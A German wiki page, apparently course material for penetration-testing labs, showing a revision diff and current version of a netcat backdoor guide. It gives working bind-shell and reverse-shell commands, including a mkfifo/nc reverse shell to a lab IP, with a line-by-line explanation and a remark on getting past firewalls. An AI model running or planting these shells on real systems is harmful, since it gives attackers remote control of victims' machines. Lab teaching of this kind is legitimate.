Netcat Backdoor Linux: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (Eine dazwischenliegende Version desselben Benutzers wird nicht angezeigt) | |||
| Zeile 16: | Zeile 16: | ||
*root@victim:~# nc.traditional -c /bin/sh 10.0.10.101 10002 | *root@victim:~# nc.traditional -c /bin/sh 10.0.10.101 10002 | ||
| − | == | + | == Reverse Shell mit named pipe (FIFO) == |
| − | |||
| − | |||
| − | + | Dieser Befehl baut eine interaktive '''Reverse Shell''' auf, bei der eine named pipe (FIFO) anstelle der sonst üblichen Doppel-<code>nc</code>-Variante verwendet wird. | |
| + | |||
| + | === Befehl === | ||
| + | <syntaxhighlight lang="bash"> | ||
| + | mkfifo /tmp/bp | ||
| + | /bin/sh 0</tmp/bp | nc 10.0.10.101 8668 1>/tmp/bp | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | === Funktionsweise === | ||
| + | |||
| + | # '''<code>mkfifo /tmp/bp</code>'''<br>Erstellt eine named pipe (FIFO-Datei) unter <code>/tmp/bp</code>. Eine FIFO ist eine spezielle Datei, die als Kommunikationskanal zwischen zwei Prozessen dient: Was der eine hineinschreibt, kann der andere auslesen (Prinzip einer Warteschlange). | ||
| + | # '''<code>/bin/sh 0</tmp/bp</code>'''<br>Startet eine Shell, deren Standardeingabe (stdin, Filedeskriptor <code>0</code>) aus der FIFO gelesen wird. Die Shell wartet also auf Befehle, die über die Pipe hereinkommen. | ||
| + | # '''<code>| nc 10.0.10.101 8668</code>'''<br>Die Standardausgabe der Shell wird per Pipe an <code>nc</code> (netcat) weitergereicht, welches eine TCP-Verbindung zu <code>10.0.10.101</code> auf Port <code>8668</code> aufbaut und die Shell-Ausgabe dorthin sendet. | ||
| + | # '''<code>1>/tmp/bp</code>'''<br>Das, was netcat vom entfernten Host empfängt (also Befehle vom Angreifer), wird zurück in die FIFO geschrieben — womit sich der Kreis schließt: Die Shell liest diese Befehle als Eingabe, führt sie aus, und die Ausgabe geht wieder über netcat hinaus. | ||
| + | |||
| + | === Zusammenfassung === | ||
| + | Das Ergebnis ist eine funktionierende interaktive Shell auf dem Zielsystem, gesteuert über eine ausgehende Verbindung zu <code>10.0.10.101:8668</code>, wo der Angreifer z. B. mit | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | nc -lvp 8668 | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | lauscht. '''"Reverse"''' deshalb, weil die Verbindung vom Zielsystem '''zum''' Angreifer aufgebaut wird — nützlich, um restriktive Firewall-Regeln zu umgehen, die nur eingehende Verbindungen blockieren, ausgehende aber erlauben. | ||
| + | |||
| + | {{Hinweis|Dieser Befehl dient ausschließlich zu Demonstrations- und Übungszwecken im Rahmen von Penetration-Testing-Kursen (Kali, SOC/SIEM) in kontrollierten Laborumgebungen.}} | ||
Aktuelle Version vom 11. August 2026, 10:42 Uhr
Linux
- Auf dem Opfer
- apt-get install netcat-traditional
- update-alternatives --config nc
- netcat-traditional auswählen (ist auf den Testmaschinen schon geschehen.)
with netcat-traditional
- bind_tcp
- root@victim:~# apt-get install netcat-traditional
- root@victim:~# nc.traditional -l -p 10001 -e /bin/bash
- root@offender:~# netcat 10.0.10.104 10001
with netcat-traditional
- reverse_tcp
- root@offender:~# netcat -l -v -p 10002
- root@victim:~# nc.traditional -c /bin/sh 10.0.10.101 10002
Reverse Shell mit named pipe (FIFO)
Dieser Befehl baut eine interaktive Reverse Shell auf, bei der eine named pipe (FIFO) anstelle der sonst üblichen Doppel-nc-Variante verwendet wird.
Befehl
mkfifo /tmp/bp
/bin/sh 0</tmp/bp | nc 10.0.10.101 8668 1>/tmp/bp
Funktionsweise
mkfifo /tmp/bp
Erstellt eine named pipe (FIFO-Datei) unter/tmp/bp. Eine FIFO ist eine spezielle Datei, die als Kommunikationskanal zwischen zwei Prozessen dient: Was der eine hineinschreibt, kann der andere auslesen (Prinzip einer Warteschlange)./bin/sh 0</tmp/bp
Startet eine Shell, deren Standardeingabe (stdin, Filedeskriptor0) aus der FIFO gelesen wird. Die Shell wartet also auf Befehle, die über die Pipe hereinkommen.| nc 10.0.10.101 8668
Die Standardausgabe der Shell wird per Pipe annc(netcat) weitergereicht, welches eine TCP-Verbindung zu10.0.10.101auf Port8668aufbaut und die Shell-Ausgabe dorthin sendet.1>/tmp/bp
Das, was netcat vom entfernten Host empfängt (also Befehle vom Angreifer), wird zurück in die FIFO geschrieben — womit sich der Kreis schließt: Die Shell liest diese Befehle als Eingabe, führt sie aus, und die Ausgabe geht wieder über netcat hinaus.
Zusammenfassung
Das Ergebnis ist eine funktionierende interaktive Shell auf dem Zielsystem, gesteuert über eine ausgehende Verbindung zu 10.0.10.101:8668, wo der Angreifer z. B. mit
nc -lvp 8668
lauscht. "Reverse" deshalb, weil die Verbindung vom Zielsystem zum Angreifer aufgebaut wird — nützlich, um restriktive Firewall-Regeln zu umgehen, die nur eingehende Verbindungen blockieren, ausgehende aber erlauben.
ℹ️ Hinweis: Dieser Befehl dient ausschließlich zu Demonstrations- und Übungszwecken im Rahmen von Penetration-Testing-Kursen (Kali, SOC/SIEM) in kontrollierten Laborumgebungen.